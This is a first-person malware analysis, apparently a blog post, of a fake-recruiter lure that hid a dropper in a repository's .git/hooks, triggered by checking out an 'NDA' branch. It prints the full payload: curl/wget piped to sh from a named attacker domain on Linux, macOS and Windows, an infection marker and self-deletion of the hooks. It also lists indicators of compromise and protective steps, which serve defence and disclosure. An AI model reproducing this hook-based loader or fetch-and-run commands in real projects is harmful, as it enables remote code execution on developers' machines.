How a 'Dream Freelance Gig' Tried to Run Malware on My Mac
A fake recruiter sent me a 'confidential project brief' as a Git repo. Hidden in .git/hooks was a remote-code-execution dropper that fires the moment you check out a branch. Here's the full breakdown.
How a “Dream Freelance Gig” Tried to Run Malware on My Mac
A “client” reached out about a Healthcare / Medical Supply Plan project. Friendly tone,
real-looking requirements, an NDA, the works. Then came the ask that saved me — they told me to
download a .tar.gz from Dropbox and “make sure to go through the NDA branch, that’s where the
main details are.”
That one sentence is the entire attack. Here’s how it worked, and how I caught it without ever running the code.
TL;DR: The project files were bait. The payload lived in
.git/hooks. The hooks were disguised as Git’s harmless sample files but secretly rancurl … | shthe instant you rangit checkout. This is the well-documented “fake recruiter” / Contagious Interview campaign.
The lure
Everything about the package was designed to look legitimate:
- A polished
README.md, anOverview.md, and adocs/folder with 11 markdown files (executive summary, PRD, architecture, data model, timelines…). - A real, clean Word
.docxNDA on a separate branch. - A confidentiality story: “the full materials aren’t public — general info is in
master, the NDA and contracts are in theNDAbranch.”
The documents are 100% harmless. They exist only to make you feel safe and to give you a reason to switch branches.
The trap: .git/hooks
When you create a fresh Git repo, the .git/hooks/ directory is filled with inert example
scripts — every one ends in .sample, so Git never runs them. This repo shipped with three hooks
that had the .sample suffix removed, making them live:
.git/hooks/
├── post-checkout ← runs automatically on `git checkout`
├── pre-push ← runs on `git push`
├── commit-msg ← runs on `git commit`
└── post-rebase.sample ← decoy name, holds the real payload
Each live hook was a near-perfect copy of Git’s standard multi-page sample script — pages of harmless comments — with a single injected line buried in the middle:
sh "$(dirname "$0")/post-rebase.sample" >/dev/null 2>&1 &It silently runs post-rebase.sample in the background and throws away all output. Why that
filename? Because post-rebase is not a real Git hook. Naming it *.sample makes it look
like one of the dozens of harmless examples — so even a careful reviewer glancing at the folder
sees “just sample files.”
The payload
Inside post-rebase.sample, the real Git sample text was preserved (each line prefixed with
# ) to pad it out and look authentic. The active code:
platform="$(uname -s 2>/dev/null || echo "Unknown")"
case "$platform" in
Linux)
(bash -c "wget -qO- 'https://cleverstack-ext30341.vercel.app/api/l' | sh" >/dev/null 2>&1 &)
;;
Darwin) # macOS
(bash -c "curl -s 'https://cleverstack-ext30341.vercel.app/api/m' | sh" >/dev/null 2>&1 &)
;;
MINGW*|MSYS*|CYGWIN*) # Windows
cmd.exe //c start "" powershell.exe -WindowStyle Hidden -Command \
"Start-Process cmd -ArgumentList '/c curl.exe -s https://cleverstack-ext30341.vercel.app/api/w | cmd' -WindowStyle Hidden" 2>&1 &
;;
*)
(bash -c "curl -s 'https://cleverstack-ext30341.vercel.app/api/m' | sh" >/dev/null 2>&1 &)
;;
esac
# infection marker
echo "happier" > "${TMPDIR:-/tmp}/.git-checker"
# cover the tracks: delete the hooks and self-destruct
rm -f "$(dirname "$0")/commit-msg" "$(dirname "$0")/post-checkout" \
"$(dirname "$0")/pre-push" "$0"What it does, step by step:
- Detects the OS — Linux, macOS, or Windows.
- Downloads and executes a second-stage script straight from a remote server into the shell
(
curl … | sh). This is full remote code execution — whatever the attacker serves at that URL runs as you. - Drops a marker (
/tmp/.git-checker) so the operators know the host is infected. - Self-destructs — deletes all four hook files so a victim who later inspects the repo finds nothing unusual.
Crucially, post-checkout runs automatically on git checkout. So the friendly instruction
“please check out the NDA branch” is the trigger. You don’t have to run a single suspicious
command — just follow the polite request, and you’re owned.
How I caught it without getting infected
The golden rule: inspect, never execute. Reading a file and extracting an archive do not
run code. Running git checkout, npm install, or opening the project in an IDE that auto-runs
tasks does.
My process:
- Download and list, don’t extract-and-open.
tar tzvf archive.tar.gzto see the contents. The first red flag jumped out immediately: the archive shipped its own.git/directory. - Spot the non-sample hooks. Every hook in a clean repo ends in
.sample. Three here did not. That is never normal in a repo someone “just made for you.” - Read the hooks as plain text (
cat/ an editor), looking past the wall of comments for any line that isn’t commented out. Each had exactly one. - Follow the breadcrumb to
post-rebase.sampleand read the payload. - Confirm it never fired: no
/tmp/.git-checkermarker, and the hooks were still present (the payload deletes them after it runs). Read-only Git commands likegit logandgit branchdon’t trigger checkout/commit/push hooks, so inspecting was safe. - Disarm: delete the four malicious files. Only inert
.samplefiles remain, and the repo is neutralized.
Indicators of Compromise (IoCs)
| Type | Value |
|---|---|
| C2 domain | cleverstack-ext30341.vercel.app |
| Endpoints | /api/m (macOS), /api/l (Linux), /api/w (Windows) |
| Delivery | Dropbox link → Healthcare-Medical-Supply-Plan.tar.gz |
| Payload location | .git/hooks/{post-checkout,pre-push,commit-msg,post-rebase.sample} |
| Infection marker | ${TMPDIR:-/tmp}/.git-checker containing the string happier |
| Trigger | git checkout (also git commit / git push) |
Red flags, in order of how loud they were
- “Be sure to check out the NDA branch — that’s where the details are.” Any pressure to perform a specific git/build action is a screaming red flag.
- Code delivered as a Dropbox archive instead of normal repo access (GitHub/GitLab invite).
- A shipped
.git/directory with non-.samplehooks. - Urgency + flattery + confidentiality — the classic social-engineering trifecta.
- The “real details” are gated behind an action, not just behind reading.
How to protect yourself
- Never run code from an unsolicited “client,” recruiter, or take-home test without inspecting
it first — including
git checkout,npm install/pnpm/yarn,make, or opening it in an IDE with auto-run tasks enabled. - Audit
.git/hooksof any repo you receive. Anything not ending in.sampleshould be read before you run a single git command. You can also clone with hooks disabled or setgit config --global core.hooksPath /dev/nullwhile inspecting untrusted repos. - Do untrusted review in a throwaway VM or container, not on your daily-driver machine.
curl … | shis the signature. If you ever see a remote pipe-to-shell, stop.- Report it. Marketplaces (Fiverr/Upwork), the hosting provider (here, Vercel + Dropbox), and your network all benefit. These are throwaway accounts run at scale — reporting shortens their lifespan.
The takeaway
This wasn’t a clever zero-day. It was a clever piece of theater: a benign-looking project, a confidentiality story, and one friendly instruction that happened to be the detonator. The defense wasn’t fancy tooling — it was the habit of treating every unsolicited repo as hostile until read, and knowing that reading is safe but executing is not.
Stay paranoid. Inspect before you run.